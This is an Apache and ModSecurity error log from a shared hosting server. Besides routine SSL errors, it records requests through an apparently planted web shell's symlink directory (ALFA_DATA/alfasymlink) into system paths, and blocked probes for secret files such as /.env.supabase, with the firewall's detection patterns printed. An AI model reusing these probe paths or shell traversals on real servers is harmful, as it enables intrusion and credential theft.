[Sun Oct 25 22:42:54.138032 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.227.234.246:59604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:43:02.114538 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 184.73.195.18:52782] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:43:10.954125 2026] [security2:error] [pid 2942316:tid 2942316] [client 107.172.76.131:50363] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6-MrZn9l1fDWzMN3C9PQAAAAQ"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 22:43:10.954178 2026] [security2:error] [pid 2942316:tid 2942316] [client 107.172.76.131:50363] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6-MrZn9l1fDWzMN3C9PQAAAAQ"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 22:43:17.698821 2026] [core:error] [pid 2938926:tid 2938926] (13)Permission denied: [client 85.208.96.204:60822] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/store_user
[Sun Oct 25 22:43:18.121756 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 34.234.206.30:15908] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:43:22.170244 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 34.206.249.188:51705] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:43:30.264440 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 54.147.80.137:63385] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:43:38.192392 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 34.195.248.30:21261] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:43:39.605140 2026] [core:error] [pid 2946858:tid 2946858] (13)Permission denied: [client 16.216.88.196:4096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sbin/unix_update
[Sun Oct 25 22:43:46.329910 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 98.84.60.17:54680] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:43:59.366585 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 185.191.171.7:14158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:44:06.268379 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 44.223.193.255:12725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:44:18.167895 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 44.196.118.6:48980] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:44:22.160544 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 18.209.201.119:12135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:44:26.153404 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 34.231.181.240:60212] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:44:50.328098 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 34.231.77.232:18302] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:44:58.149441 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 3.221.156.96:42870] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:44:58.193742 2026] [core:error] [pid 2943111:tid 2943111] (13)Permission denied: [client 85.208.96.204:40590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/poison
[Sun Oct 25 22:45:02.191316 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 44.206.65.8:63922] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:45:10.190216 2026] [core:error] [pid 2946688:tid 2946688] (13)Permission denied: [client 34.202.88.37:64479] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/platform/devices/pcspkr/subsystem/drivers/pcspkr/module/sections/__mcount_loc
[Sun Oct 25 22:45:14.151174 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 18.205.91.101:36704] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:45:18.222342 2026] [core:error] [pid 2938904:tid 2938904] (13)Permission denied: [client 54.167.32.123:32572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/subsystem/drivers/serial/uevent
[Sun Oct 25 22:45:22.240466 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 44.197.76.210:35433] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:45:26.165042 2026] [ssl:error] [pid 2946688:tid 2946688] (70014)End of file found: [client 44.206.65.8:12268] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:45:30.165224 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 52.203.152.231:6262] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:45:34.164928 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 52.205.222.214:2264] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:45:36.561047 2026] [core:error] [pid 2948436:tid 2948436] (13)Permission denied: [client 85.208.96.203:36658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/cdrom/sections/__param
[Sun Oct 25 22:45:42.247974 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 44.206.65.8:60592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:45:46.173217 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 34.231.156.59:39407] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:45:49.471896 2026] [core:error] [pid 2946858:tid 2946858] (13)Permission denied: [client 185.191.171.13:10614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/cpu_slabs
[Sun Oct 25 22:45:54.320640 2026] [ssl:error] [pid 2943462:tid 2943462] (5)Input/output error: [client 54.157.99.244:48889] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:46:02.165666 2026] [ssl:error] [pid 2946688:tid 2946688] (70014)End of file found: [client 54.84.250.51:11066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:46:06.179699 2026] [ssl:error] [pid 2948436:tid 2948436] (70014)End of file found: [client 23.23.214.190:56775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:46:08.692033 2026] [core:error] [pid 2938904:tid 2938904] (13)Permission denied: [client 185.191.171.14:26562] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid/alloc_calls
[Sun Oct 25 22:46:10.414440 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 23.23.137.202:57730] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:46:18.163175 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 35.173.18.61:31468] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:46:18.762826 2026] [security2:error] [pid 2938877:tid 2938877] [client 107.172.76.131:50358] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6-7MnQI7fvFKswuquAzwAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 22:46:18.762880 2026] [security2:error] [pid 2938877:tid 2938877] [client 107.172.76.131:50358] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6-7MnQI7fvFKswuquAzwAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 22:46:22.160979 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 54.235.125.129:28158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:46:34.282808 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 52.45.77.169:7227] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:46:42.177929 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 18.206.47.187:46318] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS3/io_type
[Sun Oct 25 22:46:50.161508 2026] [core:error] [pid 2948436:tid 2948436] (13)Permission denied: [client 3.221.156.96:43222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:15/eject
[Sun Oct 25 22:46:54.192641 2026] [core:error] [pid 2938904:tid 2938904] (13)Permission denied: [client 35.168.238.50:55328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/physical_node/driver/cpu0/crash_notes_size
[Sun Oct 25 22:47:02.246884 2026] [core:error] [pid 2943111:tid 2943111] (13)Permission denied: [client 52.200.93.170:18502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/serial/unbind
[Sun Oct 25 22:47:02.719058 2026] [security2:error] [pid 2943061:tid 2943061] [client 43.157.181.189:51134] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase1.php"] [unique_id "at6_Jn8bERm6q3Qj3BkqKAAAABc"]
[Sun Oct 25 22:47:03.079157 2026] [security2:error] [pid 2943061:tid 2943061] [client 43.157.181.189:51134] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase1.php"] [unique_id "at6_Jn8bERm6q3Qj3BkqKAAAABc"]
[Sun Oct 25 22:47:03.079208 2026] [security2:error] [pid 2943061:tid 2943061] [client 43.157.181.189:51134] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase1.php"] [unique_id "at6_Jn8bERm6q3Qj3BkqKAAAABc"]
[Sun Oct 25 22:47:06.172224 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 54.225.181.161:51966] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:47:10.375751 2026] [core:error] [pid 2948436:tid 2948436] (13)Permission denied: [client 3.81.253.213:50043] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0B00:00/subsystem/drivers_probe
[Sun Oct 25 22:47:14.234532 2026] [security2:error] [pid 2938904:tid 2938904] [client 3.221.50.71:54315] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory18/power/"] [unique_id "at6_MjrbYhOoSbkbrVN5-gAAABs"]
[Sun Oct 25 22:47:14.234570 2026] [security2:error] [pid 2938904:tid 2938904] [client 3.221.50.71:54315] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory18/power/"] [unique_id "at6_MjrbYhOoSbkbrVN5-gAAABs"]
[Sun Oct 25 22:47:18.193920 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 54.163.169.168:37132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:47:22.171123 2026] [ssl:error] [pid 2946858:tid 2946858] (70014)End of file found: [client 44.221.180.179:24958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:47:25.700346 2026] [authz_core:error] [pid 2948436:tid 2948436] [client 74.82.47.2:28538] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:47:26.320913 2026] [ssl:error] [pid 2943071:tid 2943071] (5)Input/output error: [client 52.3.104.214:64776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:47:34.216634 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 34.231.156.59:32201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:47:35.296587 2026] [core:error] [pid 2938926:tid 2938926] (13)Permission denied: [client 85.208.96.208:14098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-1k/objects_partial
[Sun Oct 25 22:47:38.455974 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 44.221.227.90:4483] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:47:40.253493 2026] [security2:error] [pid 2948436:tid 2948436] [client 16.216.88.230:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/logind.conf"] [unique_id "at6_TDXR5ojXz3zGeulJvAAAAAY"]
[Sun Oct 25 22:47:40.254077 2026] [security2:error] [pid 2948436:tid 2948436] [client 16.216.88.230:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/logind.conf"] [unique_id "at6_TDXR5ojXz3zGeulJvAAAAAY"]
[Sun Oct 25 22:47:40.254439 2026] [security2:error] [pid 2948436:tid 2948436] [client 16.216.88.230:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/logind.conf"] [unique_id "at6_TDXR5ojXz3zGeulJvAAAAAY"]
[Sun Oct 25 22:47:42.294825 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 54.145.82.217:18175] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:47:46.201619 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 44.207.252.58:30198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:47:50.181046 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 23.21.179.27:6798] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:47:54.200718 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 54.225.148.123:55172] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:48:06.261973 2026] [ssl:error] [pid 2948436:tid 2948436] (70014)End of file found: [client 98.83.10.183:13654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:48:22.356887 2026] [ssl:error] [pid 2948436:tid 2948436] (70014)End of file found: [client 34.203.111.15:5926] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:48:42.179638 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 52.0.218.219:21758] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:48:46.333172 2026] [ssl:error] [pid 2946858:tid 2946858] (70014)End of file found: [client 35.169.102.85:56538] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:48:50.234087 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 54.156.55.147:11261] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:48:54.191891 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 3.223.181.32:14735] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:49:02.183274 2026] [ssl:error] [pid 2946858:tid 2946858] (70014)End of file found: [client 44.223.116.180:11714] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:49:06.215167 2026] [security2:error] [pid 2938904:tid 2938904] [client 98.84.184.80:27922] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0B00:00/subsystem/drivers/ec/"] [unique_id "at6_ojrbYhOoSbkbrVN5_AAAABs"]
[Sun Oct 25 22:49:06.215216 2026] [security2:error] [pid 2938904:tid 2938904] [client 98.84.184.80:27922] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0B00:00/subsystem/drivers/ec/"] [unique_id "at6_ojrbYhOoSbkbrVN5_AAAABs"]
[Sun Oct 25 22:49:14.195464 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 54.144.185.255:45482] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:49:26.250762 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 44.223.232.55:14812] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:49:40.516347 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.22.120.18:41816] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at6_xNYvsK9lv2bQxMAB8QAAABA"]
[Sun Oct 25 22:49:40.516865 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.22.120.18:41816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at6_xNYvsK9lv2bQxMAB8QAAABA"]
[Sun Oct 25 22:49:40.517851 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.22.120.18:41816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xNYvsK9lv2bQxMAB8QAAABA"]
[Sun Oct 25 22:49:40.593200 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:41806] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/z9x8c7v6b5-debug-trigger-parkeranders.com"] [unique_id "at6_xGDNiM07rt0CLXuTXQAAACE"]
[Sun Oct 25 22:49:40.593557 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:41806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/z9x8c7v6b5-debug-trigger-parkeranders.com"] [unique_id "at6_xGDNiM07rt0CLXuTXQAAACE"]
[Sun Oct 25 22:49:40.594617 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:41806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xGDNiM07rt0CLXuTXQAAACE"]
[Sun Oct 25 22:49:40.732267 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:41806] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at6_xGDNiM07rt0CLXuTXgAAACE"]
[Sun Oct 25 22:49:40.732747 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:41806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at6_xGDNiM07rt0CLXuTXgAAACE"]
[Sun Oct 25 22:49:40.733558 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:41806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xGDNiM07rt0CLXuTXgAAACE"]
[Sun Oct 25 22:49:41.127796 2026] [security2:error] [pid 2948436:tid 2948436] [client 34.22.120.18:41848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.supabase"] [unique_id "at6_xTXR5ojXz3zGeulJwAAAAAY"]
[Sun Oct 25 22:49:41.128035 2026] [security2:error] [pid 2948436:tid 2948436] [client 34.22.120.18:41848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.supabase"] [unique_id "at6_xTXR5ojXz3zGeulJwAAAAAY"]
